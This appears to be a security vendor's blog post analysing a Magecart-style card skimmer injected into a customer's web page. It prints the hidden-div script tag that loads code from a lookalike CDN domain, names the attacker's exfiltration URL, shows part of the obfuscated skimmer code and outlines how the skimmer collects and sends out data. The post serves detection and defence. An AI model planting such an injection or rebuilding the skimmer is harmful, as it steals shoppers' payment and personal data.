A routine review turns up an unfamiliar skimmer

Cloudflare's security research team regularly reviews scripts flagged by Page Shield, paying particular attention to those with low scores from our machine learning model — a strong indicator of malicious behavior. During one such review, we found an unusual script on a customer's site, fetched from a domain we hadn't seen before. The script was obfuscated and exhibited suspicious behavior, so we decided to trace it to its source.

What we found was a Magecart-style attack: a seemingly harmless HTML div element on the customer's page contained embedded JavaScript designed to steal Personally Identifiable Information (PII), including credit card details, and exfiltrate it to an attacker-controlled server at https://jsdelivr[.]at/f[.]php.

<div style="display: none; visibility: hidden;">
<script src="//cdn.jsdelivr.at/js/sidebar.min.js"></script>
</div>

Anatomy of the malicious script

The script hosted at the suspicious domain was obfuscated JavaScript, a tactic attackers use to hide their intent from casual inspection. The obfuscated code can be examined via the snapshot provided by Cloudflare Radar URL Scanner.

function _0x5383(_0x411252,_0x2f6ba1){var _0x1d211f=_0x1d21();return _0x5383=function(_0x5383da,_0x5719da){_0x5383da=_0x5383da-0x101;var _0x3d97e9=_0x1d211f[_0x5383da];return _0x3d97e9;},_0x5383(_0x411252,_0x2f6ba1);}var _0x11e3ed=_0x5383;(function(_0x3920b4,_0x32875c){var _0x3147a9=_0x5383,_0x5c373e=_0x3920b4();while(!![]){try{var _0x5e0fb6=-parseInt(_0x3147a9(0x13e))/0x1*(parseInt(_0x3147a9(0x151))/0x2)+parseInt(_0x3147a9(0x168))/0x3*(parseInt(_0x3147a9(0x136))/0x4)+parseInt(_0x3147a9(0x15d))/0x5*(parseInt(_0x3147a9(0x152))/0x6)+-parseInt(_0x3147a9(0x169))/0x7*(-parseInt(_0x3147a9(0x142))/0x8)+parseInt(_0x3147a9(0x143))/0x9+-parseInt(_0x3147a9(0x14b))/0xa+-parseInt(_0x3147a9(0x150))/0xb;if(_0x5e0fb6===_0x32875c)break;else _0x5c373e['push'](_0x5c373e['shift']());}catch(_0x1f0719){_0x5c373e['push'](_0x5c373e['shift']());}}}(_0x1d21,0xbc05c));function _0x1d21(){var _0x443323=['3439548foOmOf',
.....

Beneath the obfuscation, the script's structure reveals a carefully engineered data theft toolkit:

  • Encoding and decoding functions (wvnso.jzzys, wvnso.cvdqe) use Base64 and URL encoding to conceal data in transit.
  • Targeted field mapping (wvnso.cwwez) identifies specific input fields on the page — credit card numbers, names, email addresses, and other personal details — showing that the attackers had studied the site's layout in advance.
  • Harvesting logic (functions like wvnso.uvesz and wvnso.wsrmf) checks each monitored field for user input, collects the sensitive data, and prepares it for exfiltration.
  • Stealthy data exfiltration sends stolen data by programmatically creating an Image HTML element (invisible to the user) and setting its src attribute to a URL on the attacker's server, mimicking normal traffic patterns.
  • Persistent monitoring captures data continuously while the user remains on the page, not just on initial load.
  • Execution interval: the call window.setInterval(wvnso.bumdr, 0x1f4) triggers collection actions roughly every 500 milliseconds.
  • Local storage functions (wvnso.hajfd, wvnso.ijltb) temporarily store collected data on the user's device, preventing data loss on connection issues and batching data before transmission.

The result is a sophisticated client-side skimmer designed to avoid detection, gather detailed user information, and relay it covertly to a remote server controlled by the attackers.

The hosting infrastructure tells its own story

Before dissecting the script's code, examining the hosting domain yields valuable clues. The domain used in the attack, cdn.jsdelivr.at, is revealing:

  • It was registered on 2022-04-14.
  • It impersonates the well-known hosting service jsDelivr, the legitimate version of which is cdn.jsdelivr.net.
  • It was registered by 1337team Limited, a provider known for bulletproof hosting. Such services are frequently used in cybercrime campaigns because they resist law enforcement actions and can host illicit activity without interruption.
  • Prior references to this hosting provider, including a tweet by @malwhunterteam, document its role in malicious campaigns.

Detection and defense

Page Shield's existing machine learning algorithm already detects malicious JavaScript automatically. As attackers evolve, we continue improving our detection capabilities. An upcoming version of our ML model — an artificial neural network — is designed to maintain high recall across many malicious script types while keeping false positives low. In testing, the new model flagged this exact script as a Magecart attack with very high probability, correctly identifying a novel attack operating in the wild. Cloudflare customers with Page Shield enabled will soon be able to take advantage of this latest ML's enhanced client-side security protection.

Practical steps for web operators

This attack is a sobering example of the Magecart threat. It underscores the need for constant vigilance and robust client-side security, especially for sites handling sensitive user data. We recommend the following measures:

  1. Implement WAF Managed Rules: This solution monitors and filters HTTP traffic between your web application and the Internet, guarding against common web exploits.
  2. Deploy ML-Based WAF Attack Score: This tool defends against previously unknown attacks by analyzing traffic patterns and identifying potential threats.
  3. Use Page Shield: Page Shield is specifically designed to protect against Magecart-style attacks and browser supply chain threats. It monitors and secures third-party scripts running on your site, helping you identify malicious activity and prevent client-side data theft.
  4. Activate Sensitive Data Detection (SDD): SDD alerts you when sensitive data is being exfiltrated from your site, whether due to an attack or misconfiguration, helping you maintain compliance and address unauthorized data leakage promptly.